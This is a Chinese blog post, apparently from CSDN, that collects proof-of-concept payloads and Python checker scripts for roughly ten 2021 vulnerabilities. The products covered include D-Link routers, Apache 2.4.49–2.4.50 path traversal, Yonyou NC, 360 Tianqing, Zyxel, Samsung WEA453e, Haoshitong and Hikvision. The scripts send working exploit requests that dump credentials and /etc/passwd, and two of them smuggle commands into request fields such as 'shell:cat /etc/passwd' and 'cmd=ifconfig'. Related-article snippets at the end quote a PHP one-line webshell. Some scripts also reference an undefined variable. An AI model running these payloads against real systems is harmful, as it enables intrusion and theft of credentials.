2021年漏洞小结-手工自检篇

最新推荐文章于 2024-04-25 09:15:00 发布
最新推荐文章于 2024-04-25 09:15:00 发布
阅读量1.3k 收藏 4
点赞数 1
分类专栏： web安全评估 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_48421613/article/details/122192933
版权

声明：

此文章仅作为上篇文章工具检测后，进行手工验证或手工检测，该文章仅供于学习参考或企业自检，请勿用于非法用途。​请阅读文末声明

D-Link-DIR路由器 账号密码信息泄露漏洞

poc:

/getcfg.php
SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a

页面原型：
在这里插入图片描述
漏洞检测：

输入任意密码，而后点击登陆按钮，同时进行数据包拦截，修改数据包内容如下图
在这里插入图片描述
用户名以及密码就出来了​

脚本参考如下：

import requests

url=input("输入url\n>>>>>>>>")+"/getcfg.php"
header={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded",
"Cookie":"",
"X-Forwarded-For":"127.0.0.1"
        }

data = ("SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a")

response=requests.post(url,data=data,headers=header,verify=False,timeout=10)

print(response.text)
if  "DEVICE.ACCOUNT" in response.text and response.status_code == 200:
    print("[" + url + "]" + "[===存在漏洞===]")
else:
    print("["+url+"]"+"[不存在漏洞]")

CVE-2021-41773/42013 Apache HTTP Server任意文件读取漏洞

POC:

/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

影响版本：
​Apache/2.4.49-2.4.50

页面原型：
在这里插入图片描述
漏洞检测：
在这里插入图片描述
检测脚本示例：

import urllib.request
from requests.packages.urllib3.exceptions import InsecureRequestWarning
​
url = input("输入测试地址\n>>>") + "/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"
header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
    "X-Forwarded-For": "127.0.0.1"
        }
try:
    request = urllib.request.Request(url=url, headers=header)
    response = urllib.request.urlopen(request, timeout=10)
    html = response.read().decode('utf-8')
    if "root" in html or "nologin" in html:
        print(html)
        print("[" + url + "]" + "[===存在Apache HTTP Server任意文件读取漏洞===]")
    else:
        print("[" + url + "]" + "[不存在Apache HTTP Server任意文件读取漏洞]")
except Exception as e:
    print("[" + target_url + "]" + "[不存在漏洞]", format(e))​

用友ERP-NC 目录遍历漏洞检测

POC​

/NCFindWeb?service=IPreAlertConfigService&filename=​

页面原型：
在这里插入图片描述
漏洞检测：
在这里插入图片描述
此处展示的是存在的文件，可以直接访问，查阅代码
在这里插入图片描述
脚本示例：

import requests

url = input("输入测试地址\n>>>") + "/NCFindWeb?service=IPreAlertConfigService&filename="
header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
    "X-Forwarded-For": "127.0.0.1"
        }
try:
    response = requests.get(url=url, headers=header, verify=False, timeout=10)

    if "error.jsp" in response.text or "helpmain.jsp" in response.text or "login.jsp" in response.text and response.status_code == 200:
        print(response.text)
        print("[" + url + "]" + "[===存在用友 ERP-NC 目录遍历漏洞漏洞===]")
    else:
        print("[" + url + "]" + "[不存在用友 ERP-NC 目录遍历漏洞漏洞]")
except Exception as e:
    print("[" + target_url + "]" + "[不存在漏洞]", format(e))

360天擎信息泄露漏洞检测

POC

/api/dbstat/gettablessize​

页面原型：
在这里插入图片描述
漏洞检测：
在这里插入图片描述
脚本示例：

import requests

url = input("输入测试地址\n>>>") + "/api/dbstat/gettablessize"
header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
    "X-Forwarded-For": "127.0.0.1"
        }
try:
    response = requests.get(url=url, headers=header, verify=False, timeout=10)

    if "schema_name" in response.text or "table_name" in response.text or "table_size" in response.text and response.status_code == 200:
        print(response.text)
        print("[" + url + "]" + "[===存在360天擎信息泄露漏漏洞===]")
    else:
        print("[" + url + "]" + "[不存在360天擎信息泄露漏漏洞]")
except Exception as e:
    print("[" + url + "]" + "[不存在漏洞]", format(e))

Zyxel NBG2105身份验证绕过漏洞

POC

/login_ok.htm

直接访问此接口即可

页面原型：
在这里插入图片描述

漏洞检测：
在这里插入图片描述

脚本示例：

​import requests

url = input("输入测试地址\n>>>") +"/login_ok.htm"
header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
    "X-Forwarded-For": "127.0.0.1"
        }
try:
    response = requests.get(url=url, headers=header, verify=False, timeout=10)

    if "ZyXEL" in response.text and response.status_code == 200:
        print("[" + url + "]" + "[===存在Zyxel NBG2105身份验证绕过漏洞===]")
    else:
        print("[" + url + "]" + "[不存在Zyxel NBG2105身份验证绕过漏洞]")
except Exception as e:
    print("[" + url + "]" + "[不存在漏洞]", format(e))

三星WLAN AP WEA453e路由器远程命令执行漏洞

POC

/(download)/tmp/a.txt
​​
command1=shell:cat /etc/passwd| dd of=/tmp/a.txt

页面原型：
在这里插入图片描述

漏洞检测：
输入任意用户名密码，点击登陆，而后拦截数据包伪造数据如下
​在这里插入图片描述

脚本示例：

import requests

url = input("输入测试地址\n>>>")+ "/(download)/tmp/a.txt"
header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
    "X-Forwarded-For": "127.0.0.1"
        }
data = ("command1=shell:cat /etc/passwd| dd of=/tmp/a.txt")
try:
    response = requests.post(url=url, headers=header, data=data, verify=False, timeout=10)

    if "bin" in response.text or "bash" in response.text or "nologin" in response.text and response.status_code == 200:
        print(response.text)
        print("[" + url + "]" + "[===存在三星WLAN AP WEA453e路由器远程命令执行漏洞===]")
    else:
        print("[" + url + "]" + "[不存在三星WLAN AP WEA453e路由器远程命令执行漏洞]")
except Exception as e:
    print("[" + url + "]" + "[不存在漏洞]", format(e))

三星路由器本地包含漏洞

POC

/(download)/etc/passwd​

页面原型：
在这里插入图片描述

漏洞检测：
在这里插入图片描述
在这里插入图片描述

脚本示例：

import requests

url = input("输入测试地址\n>>>") + "/(download)/etc/passwd"
header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
    "X-Forwarded-For": "127.0.0.1"
    }
try:
    response = requests.get(url=url, headers=header, verify=False, timeout=10)

    if "bin" in response.text or "bash" in response.text or "nologin" in response.text and response.status_code == 200:
        print(response.text)
        print("[" + url + "]" + "[===存在三星路由器本地包含漏洞===]")
    else:
        print("[" + url + "]" + "[不存在三星路由器本地包含漏洞]")
except Exception as e:
    print("[" + target_url + "]" + "[不存在漏洞]", format(e))

存在好视通视频会议平台任意文件下载漏洞

POC

/register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini

页面原型：
在这里插入图片描述

漏洞检测：
在这里插入图片描述
在这里插入图片描述

脚本示例：​

import requests

url = input("输入测试地址\n>>>") + "/register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini"
header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
    "X-Forwarded-For": "127.0.0.1"
        }
try:
    response = requests.get(url=url, headers=header, verify=False, timeout=10)

    if "for 16-bit app support" in response.text or "MAPI=1" in response.text and response.status_code == 200:
        print(response.text)
        print("[" + url + "]" + "[===存在好视通视频会议平台任意文件下载漏洞===]")
    else:
        print("[" + url + "]" + "[不存在好视通视频会议平台任意文件下载漏洞]")
except Exception as e:
    print("[" + url + "]" + "[不存在漏洞]", format(e))

锐捷RG-UAC统一上网行为管理审计系统信息泄露漏洞

POC

f12查看源码

页面原型：
在这里插入图片描述
漏洞检测：

在这里插入图片描述

脚本示例：

import requests
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

url = input("输入测试地址\n>>>")
header = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
            "X-Forwarded-For": "127.0.0.1"
        }
try:
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    response = requests.get(url=url, headers=header, verify=False, timeout=5)

    if "super_admin" in response.text or "auth_method" in response.text and response.status_code == 200:
        name = re.findall('"name":\"(.*)\"', response.text)
        print(name)
        print("[" + url + "]" + "[===存在锐捷RG-UAC统一上网行为管理审计系统信息泄露漏洞===]")
    else:
        print("[" + url + "]" + "[不存在锐捷RG-UAC统一上网行为管理审计系统信息泄露漏洞]")
except Exception as e:
    print("[" + url + "]" + "[不存在漏洞]", format(e))

D-Link DSL-28881A 远程命令执行漏洞

POC

需要先登陆一次，失败后才可以
/cgi-bin/execute_cmd.cgi?timestamp=test&cmd=ifconfig

页面原型：

在这里插入图片描述

漏洞检测：
首先输入任意用户名密码，待提示登陆失败后继续进行下一步
在这里插入图片描述
而后访问漏洞页面

/cgi-bin/execute_cmd.cgi?timestamp=test&cmd=ifconfig

在这里插入图片描述

脚本示例：

import requests

url=input("输入测试地址\n>>>")
header = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
            "X-Forwarded-For": "127.0.0.1"
        }
data = ("username=admin&password=a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3")
try:
    response = requests.post(url=url, data=data, headers=header, verify=False, timeout=10)
    url = url + "/cgi-bin/execute_cmd.cgi?timestamp=test&cmd=ifconfig"
    response1 = requests.get(url=url, headers=header, verify=False, timeout=10)
    if "Link encap" in response1.text or "br0" in response1.text or "Mask" in response1.text and response1.status_code == 200:
        print(response1.text)
        print("[" + url + "]" + "[===存在D-Link DSL-28881A 远程命令执行漏洞===]")
    else:
        print("[" + url + "]" + "[不存在D-Link DSL-28881A 远程命令执行漏洞]")
except Exception as e:
    print("[" + url + "]" + "[不存在漏洞]", format(e))

HIKVISION 视频编码设备接入网关 任意文件下载漏洞

POC

/serverLog/downFile.php?fileName=../web/html/serverLog/downFile.php

页面原型：
在这里插入图片描述

漏洞检测：
在这里插入图片描述

脚本示例：

import requests

url=input("输入测试地址\n>>>")
header = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
            "X-Forwarded-For": "127.0.0.1"
        }
try:
    response = requests.post(url=url, headers=header, verify=False, timeout=10)
    url = url + "/serverLog/downFile.php?fileName=../web/html/serverLog/downFile.php"
    response = requests.get(url=url, headers=header, verify=False, timeout=10)

    if "<?php" in response.text or "$file_name" in response.text and response.status_code == 200:
        print(response.text)
        print("[" + url + "]" + "[===存在HIKVISION 视频编码设备接入网关 任意文件下载漏洞===]")
    else:
        print("[" + url + "]" + "[不存在HIKVISION 视频编码设备接入网关 任意文件下载漏洞]")
except Exception as e:
    print("[" + url + "]" + "[不存在漏洞]", format(e))

本网站发布的项目中涉及的任何脚本，仅用于测试和学习研究，禁止用于商业用途，不能保证其合法性、准确性、完整性及有效性，请根据实际情况自行判断。
本网站对任何脚本及工具问题概不负责，包括但不限于由任何脚本错误导致的任何损失或损害。
间接使用本站中的任何工具及技术，包括但不限于漏洞挖掘或在某些行为违反国家/地区法律​或相关法规的情况下进行传播，本网站对于由此引起的任何隐私泄漏或其他后果概不负责。

​本网站保留随时更改或补充此免责声明的权利。一旦访问本网站项目，则视为
您已接受此免责声明。
您在本声明未发出之时点使用或者访问了该网站，则规为己接受此声明，请仔细阅读。

vlan911
关注
  • 1
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
手工检测网站漏洞 笔记
11-12
我们经常用啊D，挖掘机，之类的软件来探测网站存在的漏洞。但我们只会使用工具。对检测这些工具网站漏洞的原理确不是很清楚。这是一个手工检测网站存在漏洞的教程相信看过这个教程之后我们就会恍然大悟，原来手工检测这么检测啊！
手工挖掘web常见漏洞时的一些经验总结
weixin_30314813的博客
05-31 406
一、前提： 漏洞挖掘原则 所有变量 所有头 cookie中的变量 逐个变量删除 漏洞的本质 数据与指令的混淆 对用户输入信息过滤不严判断失误，误将数据当指令 二、经典漏洞： 1、身份认证 常用弱口令/基于字典的密码爆破 锁定账号 信息收集 手机号(通常有以手机号为用户名的...
海康摄像头CVE-2021-36260漏洞复现
最新发布
A_991128a的博客
04-25 1581
攻击者利用该漏洞可以用无限制的 root shell 来完全控制设备，即使设备的所有者受限于有限的受保护 shell（psh）。除了入侵 IP摄像头外，还可以访问和攻击内部网络。该漏洞的利用并不需要用户交互，攻击者只需要访问 http 或 HTTPS服务器端口（80/443）即可利用该漏洞，无需用户名、密码、以及其他操作。摄像头本身也不会检测到任何登录信息。
手工注入方法，方便大家测试程序漏洞
daxin09的专栏
03-03 876
1、加入单引号 ’提交,  结果:如果出现错误提示，则该网站可能就存在注入漏洞。  2、数字型判断是否有注入; 语句：and 1=1 ;and 1=2 （经典）、' and '1'=1(字符型）  结果:分别返回不同的页面,说明存在注入漏洞.  分析：and 的意思是“和”如果没有过滤我们的语句，and 1=1就会被代入SQL查询语句进行查询， 如果and前后的两条语句都是真的话就不会
一句话木马
热门推荐
qq_53065516的博客
03-27 2万+
一：一句话木马：标准代码形式：<?php @eval($_POST[‘attack’]) ?> eval()函数表示括号内的语句字符串什么的全都当做代码执行POST[‘attack’]表示从页面中获得attack这个参数值。常见形式：php的一句话木马：<?php@eval(_POST[‘attack’]表示从页面中获得attack这个参数值。 常见形式： php的一句话木马： <?php @eval(P​OST[‘attack’]表示从页面中获得attack这个参数值。常见形式：p
一句话木马简介
qq_41272376的博客
02-15 6883
一句话木马简介 一句话木马就是一段简单的代码，就这短短的一行代码，就能做到和大马相当的功能。一句话木马短小精悍，而且功能强大，隐蔽性非常好，在入侵中始终扮演着强大的作用。 一句话木马工作原理 <?php @eval($_POST['shell']);?> 这是php的一句话后门中最普遍的一种。它的工作原理是： 首先存在一个名为shell的变量，shell的取值为HTTP的POST方式。Web服务器对shell取值以后，然后通过eval()函数执行shell里面的内容。 实例： <?php
2021年保密自检自查报告5篇.docx
05-24
2021年保密自检自查报告5篇.docx
精品（2021-2022年）资料软件开发工具与环境自检自测一精.doc
11-23
【软件开发工具与环境自检自测】 在软件开发领域，工具和环境的选择对开发效率和软件质量至关重要。本测试涵盖了多个方面的知识点，包括软件开发工具的使用、发展历程、不同阶段的任务，以及特定开发工具的功能和...
行业分类-设备装置-图书自检系统和方法.zip
09-02
《图书自检系统和方法》是针对图书馆自动化管理领域的一项技术应用，旨在提高图书借阅与归还过程的效率和准确性。此系统结合了现代化的信息技术，如条形码、RFID（无线频率识别）技术，以及人工智能算法，为图书馆...
scx-3201自检过后亮红灯的处理方法.rar
03-27
然而，当设备在自检后亮起红灯时，往往意味着遇到了故障，这可能会对正常的工作流程造成影响。针对这个问题，本文将深入探讨SCX-3201自检后亮红灯的可能原因以及相应的处理方法。 一、故障识别 SCX-3201自检过程中...
史上最全一句话木马
hackzkaq的博客
06-29 7748
目录 PHP //可执行命令一句话 PHP系列 过狗一句话 几个变性的php–过防火墙 过狗效果都不错： 密码-7 ASP asp 一句话 ASP过安全狗一句话 ASPX系列 ASPX一句话的 过安全狗效果不怎么样不过我认为能支持aspx 百分之8/90支持asp aspx一句话 JSP 过护卫神的abc123456789原来代码是 把标签修改替换下来 为......
tutemastev#PeiQi-WIKI-POC#银澎云计算 好视通视频会议系统 任意文件下载 CNVD-2020-62437
07-25
银澎云计算 好视通视频会议系统 任意文件下载漏洞描述银澎云计算 好视通视频会议系统 存在任意文件下载，攻击者可以通过漏洞获取敏感信息漏洞影响银澎云计算 好视通视
2022DASCTF MAY web
weixin_63231007的博客
07-20 460
命令"'目标地址端口/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'curl-v--path-as-is目标地址端口/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd。所有需要我们上传一个users.go文件，然后其执行，我们访问users，会返回文件执行结果。......
锐捷RG-UAC上网行为管理信息泄漏漏洞
MD@@nr丫卡uer
03-17 1436
漏洞简介 锐捷RG-UAC上网行为管理信息泄漏漏洞，可在登陆界面源码中查找管理员用户和密码. 影响范围 锐捷RG-UAC上网行为管理与审计系统 fofa查询 title="RG-UAC登录页面" && body="admin" 漏洞利用 前端查看源码，搜索admin即可发现MD5加密的密码 通过解密 成功登陆 ...
文件上传漏洞------一句话木马原理解析
m0_69151365的博客
03-11 1842
这是一个最简单的一句话木马，我们用GET传参接受了两个参数，其最终目的是构造出:assert($_GET['1']) -> assert(eval(phpinfo()))这样的语句。我们也可以直接构造eval，但是很容易被杀，在我个人电脑上我们可以关闭保护软件，但是我们可以关闭网站服务器的杀毒软件吗?这串代码是在对上一个代码进行base64解码，完了我们还要执行assert(eval(muma)) 这就是一句话木马的总体原理。我们设置成不允许，刷新靶场再次上传木马文件发现上传成功了。接下来就开始抓包了。
2021年网络安全设备漏洞集合
weixin_47536169的博客
07-13 3730
360天擎SQL注入漏洞 描述 fofa title="360新天擎" POC & 利用 /api/dp/rptsvcsyncpoint?ccid=1 360天擎信息泄露 描述 /api/dbstat/gettablessize POC & 利用 Alibaba 阿里巴巴Nacos认证绕过 描述 fofa：title="Nacos" POC & EXP # 添加用户 POST /nacos/v1/auth/users HTTP/1.1 ..
Web安全-一句话木马
mmxhappy的专栏
02-04 1398
在很多的渗透过程中，渗透人员会上传一句话木马（简称Webshell）到目前web服务目录继而提权获取系统权限，不论asp、php、jsp、aspx都是如此，那么一句话木马到底是什么呢?先来看看最简单的一句话木马：?【基本原理】利用文件上传漏洞，往目标网站中上传一句话木马，然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误，也不报错。eval（）函数表示括号内的语句字符串什么的全都当做代码执行。
用友NC目录遍历漏洞复现
The current road is different, love needs to distinguish between right and wrong
11-18 2334
简介： 用友ERP-NC 存在目录遍历漏洞，攻击者可以通过目录遍历获取敏感文件信息。 漏洞复现： fofa直接搜索： app="用友-UFIDA-NC" 漏洞拼接目录: /NCFindWeb?service=IPreAlertConfigService&filename /NCFindWeb?service=IPreAlertConfigService&filename= 读取：filename=读取的文件名 ...
用友OA漏洞学习——NCFindWeb 目录遍历漏洞
记录并分享学习安全的知识点..
07-03 1394
用友ERP-NC 存在目录遍历漏洞，攻击者可以通过目录遍历获取敏感文件信息。
nacos-operator自检
03-08
它提供了自检功能，可以用于确保Nacos在Kubernetes环境中正常运行。自检主要包括以下几个方面： 1. 健康检查：nacos-operator会定期检查Nacos实例的健康状态，包括检查Nacos服务是否可用、数据库连接是否正常等。 ...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值